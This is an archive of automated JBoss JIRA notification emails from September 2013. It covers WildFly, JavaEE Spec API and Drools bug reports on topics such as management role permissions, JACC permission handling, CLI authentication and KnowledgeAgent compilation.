Subject: [jboss-jira] [JBoss JIRA] (WFLY-2166) servlet-connector uses
 socket-binding's host
In-Reply-To: <JIRA.12501632.1380209980777@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501632.1380209980777@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501632.1380209980777.2460.1380210002540@jira02.app.mwc.hst.phx2.redhat.com>

Jeff Mesnil created WFLY-2166:
---------------------------------

             Summary: servlet-connector uses socket-binding's host
                 Key: WFLY-2166
                 URL: https://issues.jboss.org/browse/WFLY-2166
             Project: WildFly
          Issue Type: Bug
          Components: JMS
            Reporter: Jeff Mesnil
            Assignee: Jeff Mesnil


The servlet-connector has socket-binding attribute that is used to determine the host & port of the HTTP server so that a client can connect to it.

It determines the host by calling the SocketBinding's getDestinationAddress().getHostAddress() method.

This may lead to issues if the HTTP server is behind a proxy as the servlet-connector will use the address of the HTTP server and bypass the proxy.



--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 12:40:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 26 Sep 2013 12:40:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2087) Administrator should be
 prevented from modifying super user and auditor roles.
In-Reply-To: <JIRA.12500788.1379348381000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500788.1379348381000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500788.1379348381000.2586.1380213603333@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2087?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807681#comment-12807681 ] 

RH Bugzilla Integration commented on WFLY-2087:
-----------------------------------------------

Darran Lofthouse <darran.lofthouse at redhat.com> changed the Status of [bug 1012579|https://bugzilla.redhat.com/show_bug.cgi?id=1012579] from NEW to ASSIGNED
                
> Administrator should be prevented from modifying super user and auditor roles.
> ------------------------------------------------------------------------------
>
>                 Key: WFLY-2087
>                 URL: https://issues.jboss.org/browse/WFLY-2087
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>            Priority: Critical
>             Fix For: 8.0.0.Beta1
>
>
> These roles have maximum privileges in their area, i.e. super user can do everything and auditor can stop changes to the server being logged.
> The administrator role should be prevented from modifying these two roles.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 12:40:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 26 Sep 2013 12:40:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2087) Administrator should be
 prevented from modifying super user and auditor roles.
In-Reply-To: <JIRA.12500788.1379348381000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500788.1379348381000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500788.1379348381000.2582.1380213603098@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2087?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-2087:
------------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1012579

    
> Administrator should be prevented from modifying super user and auditor roles.
> ------------------------------------------------------------------------------
>
>                 Key: WFLY-2087
>                 URL: https://issues.jboss.org/browse/WFLY-2087
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>            Priority: Critical
>             Fix For: 8.0.0.Beta1
>
>
> These roles have maximum privileges in their area, i.e. super user can do everything and auditor can stop changes to the server being logged.
> The administrator role should be prevented from modifying these two roles.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 12:46:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 26 Sep 2013 12:46:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2087) Administrator should be
 prevented from modifying super user and auditor roles.
In-Reply-To: <JIRA.12500788.1379348381000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500788.1379348381000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500788.1379348381000.2606.1380213963591@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2087?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807686#comment-12807686 ] 

RH Bugzilla Integration commented on WFLY-2087:
-----------------------------------------------

Darran Lofthouse <darran.lofthouse at redhat.com> changed the Status of [bug 1012579|https://bugzilla.redhat.com/show_bug.cgi?id=1012579] from ASSIGNED to POST
                
> Administrator should be prevented from modifying super user and auditor roles.
> ------------------------------------------------------------------------------
>
>                 Key: WFLY-2087
>                 URL: https://issues.jboss.org/browse/WFLY-2087
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>            Priority: Critical
>             Fix For: 8.0.0.Beta1
>
>
> These roles have maximum privileges in their area, i.e. super user can do everything and auditor can stop changes to the server being logged.
> The administrator role should be prevented from modifying these two roles.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 13:11:02 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Thu, 26 Sep 2013 13:11:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1592) Attempting to use eap6.1
 jboss-cli.sh to connect to remote wildfly (alpha1 or 2) fails;
 credentials not accepted
In-Reply-To: <JIRA.12495153.1372256939000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12495153.1372256939000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12495153.1372256939000.2633.1380215462871@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1592?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807688#comment-12807688 ] 

Darran Lofthouse commented on WFLY-1592:
----------------------------------------

[~rob.stryker] Is this still an issue for you?  I thought this was new but looking at the history it is a few months old and your linked Jira has been closed.

                
> Attempting to use eap6.1 jboss-cli.sh to connect to remote wildfly (alpha1 or 2) fails; credentials not accepted
> ----------------------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-1592
>                 URL: https://issues.jboss.org/browse/WFLY-1592
>             Project: WildFly
>          Issue Type: Bug
>          Components: Remoting, Security
>    Affects Versions: 8.0.0.Alpha2
>            Reporter: Rob Stryker
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.Beta1
>
>
> Using eap6.1 client jars, or the jboss-cli.sh script in a local eap6.1 installation, to connect to a remote wildfly alpha1 or alpha2, seems to work but fails when provided with credentials.  This is most easily replicated as follows:
> 1) On remote machine start wildfly alpha1 or alpha2
> 2) on local machine, cd eap-6.1/bin
> 3) on local machine:
> [rob at rawbdor bin]$ ./jboss-cli.sh 
> You are disconnected at the moment. Type 'connect' to connect to the server or 'help' for the list of supported commands.
> [disconnected /] connect myhost.net 
> Authenticating against security realm: ManagementRealm
> Username: admin
>  Password: 
> Unable to authenticate against controller at myhost.net:9999: Authentication failed: all available authentication mechanisms failed
> This is an issue for tools as we need a set of jars that communicates correctly with all as7 servers. We currently have a set of jars that communicates with all 7.x / eap 6.x, which is good. If this is merely a bug on the server, then we can hopefully delay having to bundle an additional set of client jars until larger breakages occur. 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 13:52:02 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Thu, 26 Sep 2013 13:52:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1916) Deployer role within domain
In-Reply-To: <JIRA.12499073.1377090124000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499073.1377090124000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499073.1377090124000.2697.1380217922693@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1916?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Heiko Braun updated WFLY-1916:
------------------------------

    Comment: was deleted

(was: Is this still an issue?)

    
> Deployer role within domain
> ---------------------------
>
>                 Key: WFLY-1916
>                 URL: https://issues.jboss.org/browse/WFLY-1916
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.Beta1
>
>
> There seems to be a problem with the deplyer role within the domain. In order to operate on doamin deployments, the deplyer requires write access to:
> a) /server-group=*
> b) /deployment=*
> But currently only the later seems to be given. This basically reduces the deployer role to just the abillity to upload contents, but not assign them to server-groups.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 13:56:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 26 Sep 2013 13:56:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1916) Deployer role within domain
In-Reply-To: <JIRA.12499073.1377090124000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499073.1377090124000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499073.1377090124000.2709.1380218162633@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1916?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-1916:
------------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1012592

    
> Deployer role within domain
> ---------------------------
>
>                 Key: WFLY-1916
>                 URL: https://issues.jboss.org/browse/WFLY-1916
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.Beta1
>
>
> There seems to be a problem with the deplyer role within the domain. In order to operate on doamin deployments, the deplyer requires write access to:
> a) /server-group=*
> b) /deployment=*
> But currently only the later seems to be given. This basically reduces the deployer role to just the abillity to upload contents, but not assign them to server-groups.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 15:55:03 2013
From: jira-events at lists.jboss.org (Stefan Guilhen (JIRA))
Date: Thu, 26 Sep 2013 15:55:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBEE-142) JACC permissions with HTTP
 method exception list are not correctly implemented
In-Reply-To: <JIRA.12501668.1380225289893@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501668.1380225289893@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501668.1380225289893.2981.1380225303319@jira02.app.mwc.hst.phx2.redhat.com>

Stefan Guilhen created JBEE-142:
-----------------------------------

             Summary:  JACC permissions with HTTP method exception list are not correctly implemented
                 Key: JBEE-142
                 URL: https://issues.jboss.org/browse/JBEE-142
             Project: JBoss JavaEE Spec APIs
          Issue Type: Bug
          Components: jboss-jacc-api
    Affects Versions: JavaEE 6 Spec APIs 3.0.2.Final
            Reporter: Stefan Guilhen
            Assignee: Stefan Guilhen


As reported by Josef Cacek: JACC 1.1 permissions WebResourcePermission and WebUserDataPermission with an HTTP method exception list as actions should provide the correct list instead of null when calling getActions() method on them. Look at section "3.1.3.4 - Example" of the JACC 1.1 specification.

There is also a second problem related - WebUserDataPermission.parseActions(String) method should remove the exclamation mark from the actions local variable before calling
{code} 
Object[] methodInfo = WebResourcePermission.canonicalMethods(actions);
{code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 15:57:02 2013
From: jira-events at lists.jboss.org (Stefan Guilhen (JIRA))
Date: Thu, 26 Sep 2013 15:57:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBEE-142) JACC permissions with HTTP
 method exception list are not correctly implemented
In-Reply-To: <JIRA.12501668.1380225289000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501668.1380225289000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501668.1380225289000.2988.1380225422788@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JBEE-142?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Stefan Guilhen updated JBEE-142:
--------------------------------

    Fix Version/s: JavaEE Spec APIs 3.0.3.Final

    
>  JACC permissions with HTTP method exception list are not correctly implemented
> -------------------------------------------------------------------------------
>
>                 Key: JBEE-142
>                 URL: https://issues.jboss.org/browse/JBEE-142
>             Project: JBoss JavaEE Spec APIs
>          Issue Type: Bug
>          Components: jboss-jacc-api
>    Affects Versions: JavaEE 6 Spec APIs 3.0.2.Final
>            Reporter: Stefan Guilhen
>            Assignee: Stefan Guilhen
>             Fix For: JavaEE Spec APIs 3.0.3.Final
>
>
> As reported by Josef Cacek: JACC 1.1 permissions WebResourcePermission and WebUserDataPermission with an HTTP method exception list as actions should provide the correct list instead of null when calling getActions() method on them. Look at section "3.1.3.4 - Example" of the JACC 1.1 specification.
> There is also a second problem related - WebUserDataPermission.parseActions(String) method should remove the exclamation mark from the actions local variable before calling
> {code} 
> Object[] methodInfo = WebResourcePermission.canonicalMethods(actions);
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 16:01:03 2013
From: jira-events at lists.jboss.org (Stefan Guilhen (JIRA))
Date: Thu, 26 Sep 2013 16:01:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBEE-143) JACC permissions added to the
 unchecked policy must be constructed using qualified pattern as their name
In-Reply-To: <JIRA.12501670.1380225607315@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501670.1380225607315@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501670.1380225607315.3002.1380225663399@jira02.app.mwc.hst.phx2.redhat.com>

Stefan Guilhen created JBEE-143:
-----------------------------------

             Summary:  JACC permissions added to the unchecked policy must be constructed using qualified pattern as their name
                 Key: JBEE-143
                 URL: https://issues.jboss.org/browse/JBEE-143
             Project: JBoss JavaEE Spec APIs
          Issue Type: Bug
          Components: jboss-jacc-api
    Affects Versions: JavaEE 6 Spec APIs 3.0.2.Final
            Reporter: Stefan Guilhen
            Assignee: Stefan Guilhen
             Fix For: JavaEE Spec APIs 3.0.3.Final


As reported by [~jcacek]:

JACC 1.1 specification, chapter 3.1.3.1 Translating security-constraint Elements says:
{panel}
A WebResourcePermission and a WebUserDataPermission must be added to
the unchecked policy statements for each url-pattern in the deployment
descriptor and the default pattern, "/", that is not combined by the web-
resource-collection elements of the deployment descriptor with every
HTTP method value. The permission objects must be constructed using the
*qualified pattern* as their name and with actions represented by an HTTP method
exception list that identifies (as defined in ?HTTP Method Exception List?) all the
HTTP methods that do not occur in combination with the pattern.The resulting
permissions must be added to the unchecked policy statements by calling the
addToUncheckedPolicy method on the PolicyConfiguration object.
{panel}

but the class WarJaccService doesn't use qualified patterns (around line 170 in source code):
{code}
String excludedString = "!" + getCommaSeparatedString(httpMethods);
WebResourcePermission wrp1 = new WebResourcePermission(info.pattern, excludedString);
WebUserDataPermission wudp1 = new WebUserDataPermission(info.pattern, excludedString);
{code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Thu Sep 26 16:03:03 2013
From: jira-events at lists.jboss.org (Stefan Guilhen (JIRA))
Date: Thu, 26 Sep 2013 16:03:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBEE-144) JACC 1.1 implementation must
 use exception list instead of missing method list for HTTP methods in the
 unchecked permissions
In-Reply-To: <JIRA.12501671.1380225731650@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501671.1380225731650@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501671.1380225731650.3023.1380225783347@jira02.app.mwc.hst.phx2.redhat.com>

Stefan Guilhen created JBEE-144:
-----------------------------------

             Summary: JACC 1.1 implementation must use exception list instead of missing method list for HTTP methods in the unchecked permissions
                 Key: JBEE-144
                 URL: https://issues.jboss.org/browse/JBEE-144
             Project: JBoss JavaEE Spec APIs
          Issue Type: Bug
          Components: jboss-jacc-api
    Affects Versions: JavaEE 6 Spec APIs 3.0.2.Final
            Reporter: Stefan Guilhen
            Assignee: Stefan Guilhen
             Fix For: JavaEE Spec APIs 3.0.3.Final


As reported by [~jcacek]:

The method {{org.jboss.as.web.security.WarJaccService.PatternInfo.getMissingMethods()}}  which subtracts current methods set from the "big 7" is used for constructing some unchecked permissions.

The method exception list (i.e. exclamation mark followed by current methods) must be used instead - as defined in section 3.1.3.1 of JACC 1.1 specification.

The specification says:
{panel}
h4.HTTP Method Exception List
An HTTP method exception list is used to represent, by set difference, a non-
enumerable subset of the set of all possible HTTP methods. An exception list
respresents the subset of the complete set of HTTP methods formed by subtracting
the methods named in the exception list from the complete set.
An exception list is distinguished by its first character, which must be the
exclaimation point (i.e., ?!?) character. A comma seperated list of one or more
HTTP method names must follow the exclaimation point.
{panel}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Thu Sep 26 16:32:02 2013
From: jira-events at lists.jboss.org (Stefan Guilhen (JIRA))
Date: Thu, 26 Sep 2013 16:32:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBEE-143) JACC permissions added to the
 unchecked policy must be constructed using qualified pattern as their name
In-Reply-To: <JIRA.12501670.1380225607000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501670.1380225607000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501670.1380225607000.3170.1380227522579@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JBEE-143?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Stefan Guilhen deleted JBEE-143:
--------------------------------

    
>  JACC permissions added to the unchecked policy must be constructed using qualified pattern as their name
> ---------------------------------------------------------------------------------------------------------
>
>                 Key: JBEE-143
>                 URL: https://issues.jboss.org/browse/JBEE-143
>             Project: JBoss JavaEE Spec APIs
>          Issue Type: Bug
>            Reporter: Stefan Guilhen
>            Assignee: Stefan Guilhen
>
> As reported by [~jcacek]:
> JACC 1.1 specification, chapter 3.1.3.1 Translating security-constraint Elements says:
> {panel}
> A WebResourcePermission and a WebUserDataPermission must be added to
> the unchecked policy statements for each url-pattern in the deployment
> descriptor and the default pattern, "/", that is not combined by the web-
> resource-collection elements of the deployment descriptor with every
> HTTP method value. The permission objects must be constructed using the
> *qualified pattern* as their name and with actions represented by an HTTP method
> exception list that identifies (as defined in ?HTTP Method Exception List?) all the
> HTTP methods that do not occur in combination with the pattern.The resulting
> permissions must be added to the unchecked policy statements by calling the
> addToUncheckedPolicy method on the PolicyConfiguration object.
> {panel}
> but the class WarJaccService doesn't use qualified patterns (around line 170 in source code):
> {code}
> String excludedString = "!" + getCommaSeparatedString(httpMethods);
> WebResourcePermission wrp1 = new WebResourcePermission(info.pattern, excludedString);
> WebUserDataPermission wudp1 = new WebUserDataPermission(info.pattern, excludedString);
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Thu Sep 26 16:32:02 2013
From: jira-events at lists.jboss.org (Stefan Guilhen (JIRA))
Date: Thu, 26 Sep 2013 16:32:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBEE-144) JACC 1.1 implementation must
 use exception list instead of missing method list for HTTP methods in the
 unchecked permissions
In-Reply-To: <JIRA.12501671.1380225731000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501671.1380225731000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501671.1380225731000.3172.1380227522668@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JBEE-144?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Stefan Guilhen deleted JBEE-144:
--------------------------------

    
> JACC 1.1 implementation must use exception list instead of missing method list for HTTP methods in the unchecked permissions
> ----------------------------------------------------------------------------------------------------------------------------
>
>                 Key: JBEE-144
>                 URL: https://issues.jboss.org/browse/JBEE-144
>             Project: JBoss JavaEE Spec APIs
>          Issue Type: Bug
>            Reporter: Stefan Guilhen
>            Assignee: Stefan Guilhen
>
> As reported by [~jcacek]:
> The method {{org.jboss.as.web.security.WarJaccService.PatternInfo.getMissingMethods()}}  which subtracts current methods set from the "big 7" is used for constructing some unchecked permissions.
> The method exception list (i.e. exclamation mark followed by current methods) must be used instead - as defined in section 3.1.3.1 of JACC 1.1 specification.
> The specification says:
> {panel}
> h4.HTTP Method Exception List
> An HTTP method exception list is used to represent, by set difference, a non-
> enumerable subset of the set of all possible HTTP methods. An exception list
> respresents the subset of the complete set of HTTP methods formed by subtracting
> the methods named in the exception list from the complete set.
> An exception list is distinguished by its first character, which must be the
> exclaimation point (i.e., ?!?) character. A comma seperated list of one or more
> HTTP method names must follow the exclaimation point.
> {panel}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Thu Sep 26 16:40:02 2013
From: jira-events at lists.jboss.org (James Perkins (JIRA))
Date: Thu, 26 Sep 2013 16:40:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2167) resolve-path operation
 definition is needs RUNTIME_ONLY and READ_ONLY set
In-Reply-To: <JIRA.12501682.1380227967085@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501682.1380227967085@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501682.1380227967085.3205.1380228002922@jira02.app.mwc.hst.phx2.redhat.com>

James Perkins created WFLY-2167:
-----------------------------------

             Summary: resolve-path operation definition is needs RUNTIME_ONLY and READ_ONLY set
                 Key: WFLY-2167
                 URL: https://issues.jboss.org/browse/WFLY-2167
             Project: WildFly
          Issue Type: Bug
          Components: Domain Management
            Reporter: James Perkins
            Assignee: James Perkins
            Priority: Minor
             Fix For: 8.0.0.CR1


Domain mode requires operations be defined as {{RUNTIME_ONLY}} to for describe handler to work. This is how the {{read-operation-names}} operation finds the available operations. While the operation can still be executed, it's not listed and in CLI doesn't allow any parameters to be passed with out this flag.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 17:45:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Thu, 26 Sep 2013 17:45:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2168) Forward port
 urn:jboss:domain:transactions:1.4 schema and parser from EAP 6
In-Reply-To: <JIRA.12501686.1380231821864@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501686.1380231821864@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501686.1380231821864.3251.1380231903290@jira02.app.mwc.hst.phx2.redhat.com>

Brian Stansberry created WFLY-2168:
--------------------------------------

             Summary: Forward port urn:jboss:domain:transactions:1.4 schema and parser from EAP 6
                 Key: WFLY-2168
                 URL: https://issues.jboss.org/browse/WFLY-2168
             Project: WildFly
          Issue Type: Task
          Components: Domain Management, Transactions
            Reporter: Brian Stansberry
            Assignee: Ivo Studensky
            Priority: Blocker
             Fix For: 8.0.0.CR1


The backport of WFLY-789 introduced a new XSD version in EAP that does not exist in WildFly. It needs to be forward ported to WildFly.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 17:45:03 2013
From: jira-events at lists.jboss.org (Davide Sottara (JIRA))
Date: Thu, 26 Sep 2013 17:45:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-273) KnowledgeAgent Incremental
 compilation fails if declared types are used in RHS
In-Reply-To: <JIRA.12501687.1380231840813@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501687.1380231840813@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501687.1380231840813.3254.1380231903500@jira02.app.mwc.hst.phx2.redhat.com>

Davide Sottara created DROOLS-273:
-------------------------------------

             Summary: KnowledgeAgent Incremental compilation fails if declared types are used in RHS
                 Key: DROOLS-273
                 URL: https://issues.jboss.org/browse/DROOLS-273
             Project: Drools
          Issue Type: Bug
      Security Level: Public (Everyone can see)
    Affects Versions: 5.5.0.Final
            Reporter: Davide Sottara
            Assignee: Mark Proctor
            Priority: Critical
             Fix For: 5.5.1.Final


If a newly discovered DRL contains a rule whose RHS uses a previously
declared class, that rule's compilation will fail.


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 17:45:03 2013
From: jira-events at lists.jboss.org (Davide Sottara (JIRA))
Date: Thu, 26 Sep 2013 17:45:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-274) KnowledgeAgent loops when
 resources are removed from a monitored folder
In-Reply-To: <JIRA.12501688.1380231868486@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501688.1380231868486@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501688.1380231868486.3256.1380231903654@jira02.app.mwc.hst.phx2.redhat.com>

Davide Sottara created DROOLS-274:
-------------------------------------

             Summary: KnowledgeAgent loops when resources are removed from a monitored folder
                 Key: DROOLS-274
                 URL: https://issues.jboss.org/browse/DROOLS-274
             Project: Drools
          Issue Type: Bug
      Security Level: Public (Everyone can see)
            Reporter: Davide Sottara
            Assignee: Mark Proctor




--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 18:10:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 26 Sep 2013 18:10:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1916) Deployer role within domain
In-Reply-To: <JIRA.12499073.1377090124000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499073.1377090124000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499073.1377090124000.3276.1380233402663@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1916?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807766#comment-12807766 ] 

RH Bugzilla Integration commented on WFLY-1916:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> made a comment on [bug 1012592|https://bugzilla.redhat.com/show_bug.cgi?id=1012592]

WFLY-1916 seems to indicate the opposite problem from the description of this one.

No matter, though. I'm going to assume this is a server-side constraints issue and dig into it. I'd change the component to Domain Management but don't want to screw up the flags.
                
> Deployer role within domain
> ---------------------------
>
>                 Key: WFLY-1916
>                 URL: https://issues.jboss.org/browse/WFLY-1916
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.Beta1
>
>
> There seems to be a problem with the deplyer role within the domain. In order to operate on doamin deployments, the deplyer requires write access to:
> a) /server-group=*
> b) /deployment=*
> But currently only the later seems to be given. This basically reduces the deployer role to just the abillity to upload contents, but not assign them to server-groups.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 20:34:02 2013
From: jira-events at lists.jboss.org (James Perkins (JIRA))
Date: Thu, 26 Sep 2013 20:34:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (LOGMGR-83) Handlers should be closed on
	rollbacks
In-Reply-To: <JIRA.12501689.1380242025643@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501689.1380242025643@jira02.app.mwc.hst.phx2.redhat.com>
